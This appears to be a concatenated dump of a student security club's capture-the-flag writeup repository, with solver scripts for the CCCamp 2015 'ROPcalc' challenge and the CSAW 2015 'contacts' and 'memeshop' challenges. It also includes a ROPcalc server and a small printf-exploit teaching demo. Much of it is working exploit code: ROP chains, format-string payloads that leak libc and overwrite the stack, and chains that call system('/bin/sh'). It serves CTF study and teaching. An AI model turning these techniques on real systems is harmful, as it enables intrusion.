113 | 0x00000000004014a0 : sub rcx, rdi ; ret
114 |
115 | 0x0000000000400a20 : pop r10 ; ret
116 | 42
117 | 0x00000000004015a0 : imul rcx, r10 ; ret
118 |
119 | 0x0000000000400b90 : sub rax, rcx ; ret
120 | 0x0000000000400cd0 : sub rax, r8 ; ret
121 | 0x0000000000400a20 : pop r10 ; ret
122 | 2015
123 | 0x0000000000400d60 : add rax, r10 ; ret
124 | ```
125 |
126 | Yay python:
127 |
128 | ```python
129 | rop += p64(0x0000000000400a20)
130 | rop += p64(23)
131 | rop += p64(0x0000000000400d80)
132 | rop += p64(0x0000000000400b80)
133 | rop += p64(0x0000000000400b30)
134 |
135 | rop += p64(0x0000000000400a20)
136 | rop += p64(5)
137 | rop += p64(0x00000000004019b0)
138 | rop += p64(0x0000000000401400)
139 |
140 | rop += p64(0x00000000004020e0)
141 | rop += p64(0x00000000004014a0)
142 |
143 | rop += p64(0x0000000000400a20)
144 | rop += p64(42)
145 | rop += p64(0x00000000004015a0)
146 |
147 | rop += p64(0x0000000000400b90)
148 | rop += p64(0x0000000000400cd0)
149 | rop += p64(0x0000000000400a20)
150 | rop += p64(2015)
151 | rop += p64(0x0000000000400d60)
152 | r.sendline(rop.encode('hex'))
153 |
154 | r.interactive()
155 | ```
156 |
157 | A bit tedious, but fun nonetheless. Could be a good one to teach basic x64 ROP.
158 |
--------------------------------------------------------------------------------
/cccamp2015-milliways/ropcalc/README.md:
--------------------------------------------------------------------------------
1 | # ROPcalc
2 |
3 | Create a ROP calculator! Support files here. Including the ROPgadget output.
4 |
--------------------------------------------------------------------------------
/cccamp2015-milliways/ropcalc/pwn_ropcalc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from pwn import *
4 |
5 | local = True
6 |
7 | if not local:
8 | r = remote('challs.campctf.ccc.ac', 10109)
9 | else:
10 | r = remote('localhost', 1024)
11 |
12 |
13 | elf = ELF('./ropcalc')
14 |
15 | context.log_level = 'debug'
16 |
17 |
18 | '''
19 | level 1: Create a ROP chain that calculates: $rax + $rbx (store result in rax)
20 |
21 | 0x0000000000400b30 : add rax, rbx ; ret
22 | '''
23 |
24 | r.recvuntil('line:')
25 | rop = ''
26 | rop += p64(0x0000000000400b30)
27 | r.sendline(rop.encode('hex'))
28 |
29 |
30 | '''
31 | level 2: Create a ROP chain that calculates: $rax + $rbx + 1337 (store result in rax)
32 |
33 | 0x0000000000400b30 : add rax, rbx ; ret
34 | 0x00000000004008d0 : pop rbx ; ret
35 | 1337
36 | 0x0000000000400b30 : add rax, rbx ; ret
37 |
38 | '''
39 |
40 | r.recvuntil('line:')
41 | rop = ''
42 | rop += p64(0x0000000000400b30)
43 | rop += p64(0x00000000004008d0)
44 | rop += p64(1337)
45 | rop += p64(0x0000000000400b30)
46 | r.sendline(rop.encode('hex'))
47 |
48 |
49 | '''
50 | level 3: Create a ROP chain that calculates: $rax * $rbx (store result in rax)
51 |
52 | 0x0000000000400b50 : imul rax, rbx ; ret
53 | '''
54 |
55 | r.recvuntil('line:')
56 | rop = ''
57 | rop += p64(0x0000000000400b50)
58 | r.sendline(rop.encode('hex'))
59 |
60 |
61 | '''
62 | level 4: Create a ROP chain that calculates: $rax * (31337 + $rbx) (store result in rax)
63 |
64 | 0x0000000000400900 : pop rcx ; ret
65 | 31337
66 | 0x00000000004013a0 : add rcx, rbx ; ret
67 | 0x0000000000400ba0 : imul rax, rcx ; ret
68 | '''
69 |
70 | r.recvuntil('line:')
71 | rop = ''
72 | rop += p64(0x0000000000400900)
73 | rop += p64(31337)
74 | rop += p64(0x00000000004013a0)
75 | rop += p64(0x0000000000400ba0)
76 | r.sendline(rop.encode('hex'))
77 |
78 |
79 | '''
80 | level 5: Create a ROP chain that calculates:
81 | $rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rd$rax + $rbx + 1337 x - $rdi * $rsi) - $r8 + 2015 (store result in rax)
82 |
83 |
84 |
85 | # 0x00000000004030a0 : mov r11, rcx ; ret dup rcx
86 | 0x0000000000400a20 : pop r10 ; ret stage 23
87 | 23
88 | 0x0000000000400d80 : imul rax, r10 ; ret 23 * rax
89 | 0x0000000000400b80 : add rax, rcx ; ret ^this + rcx
90 | 0x0000000000400b30 : add rax, rbx ; ret ^this + rbx
91 |
92 |
93 | stuffs:
94 | 0x0000000000400a20 : pop r10 ; ret
95 | 5
96 | 0x00000000004019b0 : imul rdx, r10 ; ret
97 | 0x0000000000401400 : sub rcx, rdx ; ret
98 |
99 |
100 | 0x00000000004020e0 : imul rdi, rsi ; ret
101 | 0x00000000004014a0 : sub rcx, rdi ; ret
102 |
103 |
104 | 0x0000000000400a20 : pop r10 ; ret
105 | 42
106 | 0x00000000004015a0 : imul rcx, r10 ; ret
107 |
108 |
109 | 0x0000000000400b90 : sub rax, rcx ; ret
110 | 0x0000000000400cd0 : sub rax, r8 ; ret
111 | 0x0000000000400a20 : pop r10 ; ret
112 | 2015
113 | 0x0000000000400d60 : add rax, r10 ; ret
114 |
115 |
116 |
117 |
118 | '''
119 | '''
120 | r.recvuntil('line:')
121 | rop = ''
122 | # rop += p64(0x00000000004030a0)
123 | rop += p64(0x0000000000400a20)
124 | rop += p64(23)
125 | rop += p64(0x0000000000400d80)
126 | rop += p64(0x0000000000400b80)
127 | rop += p64(0x0000000000400b30)
128 |
129 | rop += p64(0x0000000000400a20)
130 | rop += p64(5)
131 | rop += p64(0x00000000004019b0)
132 | rop += p64(0x0000000000401400)
133 |
134 | rop += p64(0x00000000004020e0)
135 | rop += p64(0x00000000004014a0)
136 |
137 | rop += p64(0x0000000000400a20)
138 | rop += p64(42)
139 | rop += p64(0x00000000004015a0)
140 |
141 | rop += p64(0x0000000000400b90)
142 | rop += p64(0x0000000000400cd0)
143 | rop += p64(0x0000000000400a20)
144 | rop += p64(2015)
145 | rop += p64(0x0000000000400d60)
146 | r.sendline(rop.encode('hex'))
147 |
148 |
149 | r.interactive()
150 | '''
151 |
--------------------------------------------------------------------------------
/cccamp2015-milliways/ropcalc/ropcalc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/cccamp2015-milliways/ropcalc/ropcalc
--------------------------------------------------------------------------------
/cccamp2015-milliways/ropcalc/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | import argparse
4 | import numpy as np
5 | import re
6 | import struct
7 | import resource
8 | from random import randint
9 | from tornado import gen
10 | from tornado import iostream
11 | from tornado.process import Subprocess
12 | from tornado.ioloop import IOLoop
13 | from tornado.tcpserver import TCPServer
14 |
15 |
16 | np.warnings.simplefilter("ignore", RuntimeWarning) # hide integer overflow warning
17 |
18 | TIMEOUT = 15
19 | EXPRESSIONS = (
20 | "$rax + $rbx",
21 | "$rax + $rbx + 1337",
22 | "$rax * $rbx",
23 | "$rax * (31337 + $rbx)",
24 | "$rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015",
25 | )
26 | try:
27 | FLAG = open("flag.txt").read()
28 | except IOError:
29 | FLAG = "DUMMY_FLAG"
30 |
31 |
32 | class ScopedProcess(Subprocess):
33 | def __enter__(self):
34 | return self
35 |
36 | def __exit__(self, type, value, tb):
37 | for f in (self.stdin, self.stdout, self.stderr):
38 | if f is not None:
39 | f.close()
40 | try:
41 | self.proc.kill()
42 | except OSError:
43 | pass
44 |
45 |
46 | class Client(object):
47 | def __init__(self, cli, loop=None):
48 | self.cli = cli
49 | self.regs = Registers.random()
50 | if loop is None:
51 | self.loop = IOLoop.instance()
52 | else:
53 | self.loop = loop
54 | self.timeout = None
55 |
56 | def start(self):
57 | self.timeout = self.loop.call_later(TIMEOUT, lambda: self.error("Too slow!"))
58 | self.cli.set_close_callback(self.finished)
59 | self.validate_expressions()
60 |
61 | @gen.coroutine
62 | def validate_expressions(self, *args):
63 | for i, expression in enumerate(EXPRESSIONS):
64 | yield self.cli.write(
65 | "Level [{}/{}]\n"
66 | "Create a ROP chain that calculates: {} (store result in rax)\n"
67 | "Enter your solution as a single hex encoded line: "
68 | .format(i + 1, len(EXPRESSIONS), expression)
69 | )
70 | try:
71 | line = yield self.cli.read_until("\n", max_bytes=4096)
72 | except iostream.StreamClosedError:
73 | break
74 | try:
75 | ropchain = line.strip("\n").decode("hex")
76 | except TypeError:
77 | yield self.error("Error decoding ROP chain!")
78 | break
79 | ok = yield self.execute_ropchain(ropchain, expression)
80 | if not ok:
81 | yield self.write("Wrong result. Better luck next time!")
82 | break
83 | yield self.write("Correct!\n" + "-" * 80)
84 | else:
85 | yield self.write("The flag is: {}".format(FLAG))
86 | self.finished()
87 |
88 | @gen.coroutine
89 | def execute_ropchain(self, ropchain, expression):
90 | args = {
91 | "close_fds": True,
92 | "stdin": Subprocess.STREAM,
93 | "stdout": Subprocess.STREAM,
94 | }
95 | with ScopedProcess(["./ropcalc"], **args) as proc:
96 | yield proc.stdin.write(self.regs.serialize())
97 | yield proc.stdin.write(struct.pack(">>")
24 |
25 | raw_input()
26 |
27 | uuid = 0
28 |
29 | base = -1
30 | # Declare a function that takes a single address, and
31 | # leaks at least one byte at that address.
32 |
33 |
34 | def getbase():
35 | global uuid
36 | global r
37 |
38 | r.sendline("1")
39 |
40 | print r.recvuntil("Name:")
41 | r.sendline(str(uuid))
42 | uuid += 1
43 |
44 | print r.recvuntil("No:")
45 | r.sendline("1")
46 | print r.recvuntil("Length of description:")
47 | r.sendline("60")
48 | print r.recvuntil("Enter description:")
49 |
50 | sploit = ""
51 | sploit += "%6$08x *^*"
52 |
53 |
54 | r.sendline(sploit)
55 |
56 | r.recvuntil(">>>")
57 |
58 | r.sendline("4")
59 |
60 | parseme = r.recvuntil(">>>")
61 | #print parseme
62 |
63 | ind = parseme.split().index("*^*")
64 | baseaddr = int(parseme.split()[ind - 1], 16)
65 | baseaddr -= 0x48
66 |
67 | print "baseaddr: " + hex(baseaddr)
68 | return baseaddr
69 |
70 |
71 | # I'm not sure if this works
72 | def leak(address):
73 | global uuid
74 | global r
75 | global base
76 |
77 |
78 | lower = address % 65536
79 | upper = address // 65536
80 |
81 |
82 | r.sendline("1")
83 |
84 | print r.recvuntil("Name:")
85 | r.sendline(str(uuid))
86 | uuid += 1
87 |
88 | print r.recvuntil("No:")
89 | r.sendline("1")
90 | print r.recvuntil("Length of description:")
91 | r.sendline("60")
92 | print r.recvuntil("Enter description:")
93 |
94 | sploit = ""
95 | sploit += "%" + str((base % 65536) + 120) + "x"
96 | sploit += "%33$hn"
97 | sploit += "A"*2
98 | sploit += "%34$hn"
99 |
100 | r.sendline(sploit)
101 |
102 | r.recvuntil(">>>")
103 |
104 |
105 |
106 | r.sendline("1")
107 |
108 | print r.recvuntil("Name:")
109 | r.sendline(str(uuid))
110 | uuid += 1
111 |
112 | print r.recvuntil("No:")
113 | r.sendline("1")
114 | print r.recvuntil("Length of description:")
115 | r.sendline("60")
116 | print r.recvuntil("Enter description:")
117 |
118 | if lower < upper:
119 | sploit = ""
120 | sploit += "%" + str(lower) + "x"
121 | sploit += "%73$hn"
122 | sploit += "%" + str(upper - lower) + "x"
123 | sploit += "%75$hn"
124 | else:
125 | sploit = ""
126 | sploit += "%" + str(upper) + "x"
127 | sploit += "%75$hn"
128 | sploit += "%" + str(lower - upper) + "x"
129 | sploit += "%73$hn"
130 |
131 | r.sendline(sploit)
132 | print sploit
133 |
134 | r.recvuntil(">>>")
135 |
136 | r.sendline("1")
137 |
138 | print r.recvuntil("Name:")
139 | r.sendline(str(uuid))
140 | uuid += 1
141 |
142 | print r.recvuntil("No:")
143 | r.sendline("1")
144 | print r.recvuntil("Length of description:")
145 | r.sendline("60")
146 | print r.recvuntil("Enter description:")
147 |
148 | sploit = ""
149 | sploit += "%30$4s"
150 | r.sendline(sploit)
151 |
152 | r.recvuntil(">>>")
153 |
154 | r.sendline("4")
155 |
156 | stuffs = r.recvuntil(">>>")
157 |
158 | print stuffs[-100:]
159 | ind = stuffs.rfind("Description:")
160 | print ind
161 |
162 | print "fin"
163 |
164 | data_s = stuffs[ind+13:ind+13+4]
165 | print data_s
166 | data = 0
167 | for c in data_s[::-1]:
168 | data <<= 8
169 | data += ord(c)
170 | print hex(data)
171 | return data
172 | #return hex(data)[2:]
173 |
174 |
175 |
176 |
177 |
178 | # make the string "/bin/sh" in memory and return its address
179 | def make_binsh():
180 | global uuid
181 | global r
182 | global base
183 |
184 | r.sendline("1")
185 |
186 | print r.recvuntil("Name:")
187 | r.sendline("/bin/sh")
188 | uuid += 1
189 |
190 | print r.recvuntil("No:")
191 | r.sendline("/bin/sh")
192 | print r.recvuntil("Length of description:")
193 | r.sendline("60")
194 | print r.recvuntil("Enter description:")
195 |
196 | sploit = ""
197 | sploit += "%1$08x"
198 |
199 | r.sendline(sploit)
200 |
201 | r.recvuntil(">>>")
202 |
203 | r.sendline("4")
204 |
205 | stuffs = r.recvuntil(">>>")
206 |
207 | print stuffs[-100:]
208 | ind = stuffs.rfind("Description:")
209 | print ind
210 |
211 | print "fin"
212 |
213 | data_s = stuffs[ind+13:ind+13+8]
214 | print data_s
215 |
216 | return data_s
217 |
218 |
219 |
220 |
221 | # write the value to the address
222 | # address is a number, but val is a hex string
223 | def write_stack(address, val):
224 | global uuid
225 | global r
226 | global base
227 |
228 |
229 | lower = address % 65536
230 | upper = address // 65536
231 |
232 | baseupper = base // 65536
233 | if baseupper != upper:
234 | print "NOT GONNA WORK"
235 | raw_input()
236 |
237 |
238 | r.sendline("1")
239 |
240 | print r.recvuntil("Name:")
241 | r.sendline(str(uuid))
242 | uuid += 1
243 |
244 | print r.recvuntil("No:")
245 | r.sendline("1")
246 | print r.recvuntil("Length of description:")
247 | r.sendline("60")
248 | print r.recvuntil("Enter description:")
249 |
250 | sploit = ""
251 | sploit += "%" + str(lower) + "x"
252 | sploit += "%33$hn" # 132
253 | sploit += "A"*2
254 | sploit += "%34$hn" # 136
255 |
256 | r.sendline(sploit)
257 |
258 | r.recvuntil(">>>")
259 |
260 |
261 | lower = val[-4:]
262 | upper = val[:-4]
263 |
264 | print upper, lower
265 |
266 | lower = int(lower, 16)
267 | upper = int(upper, 16)
268 |
269 | r.sendline("1")
270 |
271 | print r.recvuntil("Name:")
272 | r.sendline(str(uuid))
273 | uuid += 1
274 |
275 | print r.recvuntil("No:")
276 | r.sendline("1")
277 | print r.recvuntil("Length of description:")
278 | r.sendline("60")
279 | print r.recvuntil("Enter description:")
280 |
281 | if lower < upper:
282 | sploit = ""
283 | sploit += "%" + str(lower) + "x"
284 | sploit += "%73$hn" # 292
285 | if(upper-lower > 0):
286 | sploit += "%" + str(upper - lower) + "x"
287 | sploit += "%75$hn" # 300
288 | else:
289 | sploit = ""
290 | sploit += "%" + str(upper) + "x"
291 | sploit += "%75$hn"
292 | if(lower-upper > 0):
293 | sploit += "%" + str(lower - upper) + "x"
294 | sploit += "%73$hn"
295 |
296 | r.sendline(sploit)
297 | print sploit
298 |
299 | r.recvuntil(">>>")
300 |
301 | def run_sploit():
302 | global r
303 | r.sendline("4")
304 | r.interactive()
305 |
306 |
307 | # print off parts of the stack then run the exploit
308 | def blast_stack():
309 | global uuid
310 | global r
311 | global base
312 |
313 | r.sendline("1")
314 |
315 | print r.recvuntil("Name:")
316 | r.sendline(str(uuid))
317 | uuid += 1
318 |
319 | print r.recvuntil("No:")
320 | r.sendline("1")
321 | print r.recvuntil("Length of description:")
322 | r.sendline("300")
323 | print r.recvuntil("Enter description:")
324 |
325 | sploit = ""
326 | sploit += "::%16$x"
327 | sploit += "::%17$x"
328 | sploit += "::%18$x"
329 | sploit += "::%19$x"
330 | sploit += "::%20$x"
331 | sploit += "::%21$x"
332 | sploit += "::%22$x"
333 | sploit += "::%23$x"
334 | sploit += "::%24$x"
335 | sploit += "::%25$x"
336 | sploit += "::%26$x"
337 | sploit += "::%27$x"
338 | sploit += "::%28$x"
339 | sploit += "::%29$x"
340 | sploit += "::%30$x"
341 |
342 | r.sendline(sploit)
343 |
344 | r.recvuntil(">>>")
345 | r.sendline("4")
346 | r.interactive()
347 | # print r.recvuntil(">>>")
348 |
349 |
350 | # Find the offset of libc
351 | def get_system():
352 | global uuid
353 | global r
354 | global base
355 | global startmain_offset
356 |
357 | r.sendline("1")
358 |
359 | print r.recvuntil("Name:")
360 | r.sendline(str(uuid))
361 | uuid += 1
362 |
363 | print r.recvuntil("No:")
364 | r.sendline("1")
365 | print r.recvuntil("Length of description:")
366 | r.sendline("60")
367 | print r.recvuntil("Enter description:")
368 |
369 | sploit = ""
370 | sploit += "%31$08x *^^*"
371 |
372 |
373 | r.sendline(sploit)
374 |
375 | r.recvuntil(">>>")
376 |
377 | r.sendline("4")
378 |
379 | parseme = r.recvuntil(">>>")
380 | #print parseme
381 |
382 | ind = parseme.split().index("*^^*")
383 | systemaddr = int(parseme.split()[ind - 1], 16)
384 |
385 |
386 | systemaddr -= 230 # we are grabbing the return address for <__libc_start_main+230>
387 | systemaddr -= startmain_offset # __libc_start_main
388 |
389 | # systemaddr = 256 * (systemaddr // 256)
390 | systemaddr &= ~((1<<12) - 1) # The lower 12 bits of libc addresses aren't randomized, http://www.limited-entropy.com/fusion-04-exploit-write-up/
391 |
392 |
393 |
394 | print "libc: " + hex(systemaddr)
395 | return systemaddr
396 |
397 | # Remove all contacts
398 | def delete_all():
399 | global uuid
400 | global r
401 | global base
402 |
403 | while uuid >=0:
404 | uuid -= 1
405 |
406 | r.sendline("2")
407 | r.recvuntil("remove?")
408 | r.sendline(str(uuid))
409 | r.recvuntil(">>>")
410 |
411 | # start by getting the address of the top of the stack
412 | base = getbase()
413 | # raw_input()
414 |
415 | #blast_stack()
416 | # raw_input()
417 | # leak(base + 24)
418 |
419 |
420 |
421 | '''
422 | # remote values:
423 | startmain_offset = 0x00019970 # ????
424 | system_offset = 0x0003fcd0
425 | printf_offset = 0x0004cc40 # ????
426 | '''
427 |
428 | # local value:
429 | # YOU WILL HAVE TO CHANGE THESE TO MATCH YOUR SYSTEM
430 | startmain_offset = 0x00016d60 # ????
431 | system_offset = 0x0003be20
432 | printf_offset = 0x00049d70 # ????
433 |
434 | # Get the offset of libc
435 | libc_base = get_system()
436 |
437 | # Use this offset to get addresses of important functions
438 | system = libc_base + system_offset
439 | printf = libc_base + printf_offset
440 |
441 | print "printf", hex(printf)
442 |
443 |
444 | # change this to be either system or printf depending on if you want a shell or a proof of concept
445 | ret2libc = hex(system)[2:]
446 | print "ret2libc", ret2libc
447 | delete_all()
448 | raw_input()
449 |
450 | binsh = make_binsh()
451 | print "binsh: ", binsh
452 |
453 | #blast_stack()
454 |
455 | raw_input()
456 |
457 |
458 |
459 | write_stack(base + 21*4, binsh)
460 | #write_stack(base + 60, "EEEEFFFF")
461 | write_stack(base + 19*4, ret2libc) # system
462 |
463 | print "ready to SPLOIT"
464 |
465 | raw_input()
466 |
467 | blast_stack()
468 |
469 |
470 | #run_sploit()
471 |
472 |
473 |
474 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/contacts_54f3188f64e548565bc1b87d7aa07427:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/contacts_54f3188f64e548565bc1b87d7aa07427
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/contacts_old:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/contacts_old
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/libc-hopeful.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/libc-hopeful.so.6
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/printf-example/README.md:
--------------------------------------------------------------------------------
1 | # Basic Printf Example
2 | As part of my presentation during the WCSC meeting, I used this program to demo a basic printf exploit before leading in to the more difficult "contacts" challenge.
3 |
4 | ## Usage
5 | Run the compiled binary `./printf-example`
6 |
7 | Enter in your "user name". Your goal is to exploit the fact that this string is directly printf'd by the program.
8 |
9 | ## Compilation
10 | `gcc -m32 -std=gnu99 printf-example.c -o printf-example`
11 |
12 | `-m32` tells gcc to compile as a 32-bit program instead of a 64-bit program. 32-bit is simpler to understand. You may need to install the ia32-libs package depending on your system setup.
13 |
14 | ## Exploitation
15 | I recommend using [GDB](https://www.gnu.org/software/gdb/) with [PEDA](https://github.com/longld/peda). I have a custom PEDA fork that I like because it adds more color/tabs to memory views. It's [here](https://github.com/duckythescientist/peda).
16 |
17 | The solution is in `solution.txt` if you can't get it on your own.
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/printf-example/printf-example:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/printf-example/printf-example
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/printf-example/printf-example.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | // A basic printf exploit example
4 |
5 |
6 | void say_hello();
7 |
8 | int main()
9 | {
10 |
11 |
12 | int foo = 0x41414141;
13 | int * foo_ptr;
14 | foo_ptr = &foo;
15 |
16 | say_hello();
17 |
18 | if(*foo_ptr == 8)
19 | {
20 | printf("You win!\n");
21 | }
22 | else
23 | {
24 | printf("You lose\n");
25 | }
26 |
27 | return 0;
28 | }
29 |
30 | void say_hello()
31 | {
32 | char username[20];
33 |
34 | fgets(username, 20, stdin);
35 |
36 | printf(username); // This is bad. Never do this in real life.
37 | // printf("%s", username); // This is the proper way to print a string with printf.
38 | }
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit250-contacts/printf-example/solution.txt:
--------------------------------------------------------------------------------
1 | Enter the following as your "username"
2 | `%08x%23$n`
3 |
4 | or possibly
5 |
6 | `%08x%19$n'
7 |
8 | It depends on how the thing gets compiled.
9 |
10 |
11 | What this does:
12 |
13 | %08x
14 | This prints 8 hexadecimal characters from the first thing on the stack.
15 |
16 | Because we now have printer 8 characters, we can write out this number to pass the win/lose check
17 |
18 | %23$n
19 | This writes out to memory pointed to by the 23rd stack value. It writes the number of thus far printed characters (8)
20 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/fortunes/asdf:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/cage.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/derp.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/doge.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/fry.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/nyan.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/sir.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/skeleton.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/thumbup.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memes/troll.meme:
--------------------------------------------------------------------------------
1 | hi
2 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/memeshop.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | GC.disable
3 | require 'tempfile'
4 | require 'base64'
5 | require_relative './plugin/mememachine.so'
6 |
7 | include MemeMachine
8 |
9 | $stdout.sync = true
10 | @meme_count = 0
11 |
12 | def print_menu
13 | puts "[p]"+ "rint receipt from confirmation number"
14 | puts "[n]" + "ic cage (RARE MEME)"
15 | puts "[d]" + "erp"
16 | puts "d" + "[o]" + "ge (OLD MEME, ON SALE)"
17 | puts "[f]" + "ry (SHUT UP AND LET ME TAKE YOUR MONEY)"
18 | puts "n" + "[y]" + "an cat"
19 | puts "[l]" + "ike a sir"
20 | puts "[m]" + "r skeletal (doot doot)"
21 | puts "[t]" + "humbs up"
22 | puts "t" + "[r]" + "ollface.jpg"
23 | puts "[c]" + "heck out"
24 | puts "[q]" + "uit"
25 | end
26 |
27 | def print_receipt
28 | print "ok, let me know your order number bro: "
29 | str = gets.chomp
30 | f = Base64.decode64 str
31 | if f.include? "flag" or f.include? "*"
32 | puts "flag{just kidding, you need a shell}"
33 | elsif File.exist? f
34 | puts "ok heres ur receipt or w/e"
35 | puts IO.read(f)
36 | else
37 | puts "sry br0, i have no records of that"
38 | end
39 | puts ""
40 | end
41 |
42 | def checkouter
43 | str = "u got memed on #{@meme_count} times, memerino"
44 | file = Tempfile.new "meme"
45 | file.write str
46 | ObjectSpace.undefine_finalizer file
47 | puts "ur receipt is at #{Base64.encode64 file.path}"
48 | puts checkout @meme_count
49 | end
50 |
51 | def domeme name
52 | @meme_count = @meme_count + 1
53 | meme = IO.read name
54 | puts meme
55 | addmeme
56 | end
57 |
58 | def skeletal
59 | @meme_count = @meme_count + 1
60 | puts IO.read "./memes/skeleton.meme"
61 | puts "so... what do you say to mr skeletal?"
62 | str = gets
63 | puts addskeletal Base64.decode64 str
64 | end
65 |
66 | puts "hi fellow memers"
67 | puts "welcome to the meme shop"
68 | puts "u ready 2 buy some dank meme?"
69 | puts " --------------------------- "
70 | puts IO.read Dir.glob("fortunes/*").sample
71 | puts " --------------------------- "
72 |
73 | puts "so... lets see what is on the menu"
74 |
75 | quit = false
76 | while not quit
77 | print_menu
78 | val = gets.chomp
79 | case val[0]
80 | when 'q'
81 | quit = true
82 | next
83 | when 'p'
84 | print_receipt
85 | next
86 | when 'o'
87 | domeme "./memes/doge.meme"
88 | next
89 | when 'n'
90 | domeme "./memes/cage.meme"
91 | next
92 | when 'd'
93 | domeme "./memes/derp.meme"
94 | next
95 | when 'f'
96 | domeme "./memes/fry.meme"
97 | next
98 | when 'y'
99 | domeme "./memes/nyan.meme"
100 | next
101 | when 'l'
102 | domeme "./memes/sir.meme"
103 | next
104 | when 'm'
105 | skeletal
106 | next
107 | when 't'
108 | domeme "./memes/thumbup.meme"
109 | next
110 | when 'r'
111 | domeme "./memes/troll.meme"
112 | next
113 | when 'c'
114 | checkouter
115 | quit = true
116 | next
117 | end
118 | end
119 |
120 | puts "bye"
121 |
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/plugin/mememachine.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit400-memeshop/plugin/mememachine.so
--------------------------------------------------------------------------------
/csaw2015-quals/Exploit400-memeshop/pwn_memeshop.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from pwn import *
4 | import base64, os
5 |
6 | r = None
7 | # context.log_level = 'debug'
8 | context.timeout = 5
9 | local = True
10 |
11 | def main(arg=''):
12 | global r
13 | if not local:
14 | r = remote('52.3.190.202', '1337')
15 | else:
16 | r = process('memeshop.rb')
17 | r.readuntil('uit')
18 |
19 | libc = libc_base()
20 | log.success('Found libc base at: ' + hex(libc))
21 | if local:
22 | system = libc + 0x3f890
23 | binsh = libc + 0x1653B8
24 | bespoke_ret = libc + 0x937
25 | bespoke_gadget = libc + 0x10a474
26 | else:
27 | system = libc + 0x46640
28 | binsh = libc + 0x17CCDB
29 | bespoke_ret = libc + 0xf479e
30 | bespoke_gadget = libc + 0x120173
31 | log.info('System: {} \tbinsh: {}'.format(hex(system), hex(binsh)))
32 |
33 | for _ in range(250):
34 | add_meme()
35 |
36 | for _ in range(6):
37 | add_skel()
38 |
39 | sploit = '/bin/sh\x00' # this will go into rbp, then rdi
40 | sploit += p64(bespoke_ret) # this is the first ret
41 | sploit += '/bin/sh\x00' # yolo
42 | sploit += '/bin/sh\x00' # yolo
43 | sploit += '/bin/sh\x00' # yolo
44 | sploit += '/bin/sh\x00' # yolo
45 | add_skel(resp=sploit)
46 | sploit = p64(system) # bespoke_gadget calls this
47 | sploit += p64(bespoke_gadget)
48 | add_skel(resp=sploit)
49 |
50 | log.success('Found libc base at: ' + hex(libc))
51 | log.info('System: {} \tbinsh: {}'.format(hex(system), hex(binsh)))
52 |
53 | def libc_base():
54 | maps = dump_file('/proc/self/maps')
55 | for segment in maps.splitlines():
56 | if 'libc-' in segment and 'r-xp' in segment:
57 | return int('0x' + segment.split('-')[0], 16)
58 |
59 |
60 | r.readuntil('uit')
61 |
62 | def add_meme():
63 | r.send('n\n')
64 | r.readuntil('uit')
65 |
66 | def add_skel(resp='thanks mr skeletal'):
67 | r.send('m\n')
68 | r.recvuntil('so... what do you say to mr skeletal?')
69 | string = base64.b64encode(resp)
70 | r.send(string+'\n')
71 |
72 |
73 | def dump_file(fname):
74 | string = base64.b64encode(fname)
75 | r.send('p\n')
76 | r.readuntil('bro:')
77 | r.send(string+'\n')
78 | r.recvuntil('w/e\n')
79 | tmp = ''
80 | while(r.can_recv(1)):
81 | try:
82 | tmp += r.recv()
83 | except EOFError:
84 | log.info('End of file')
85 | r.sendline('\n')
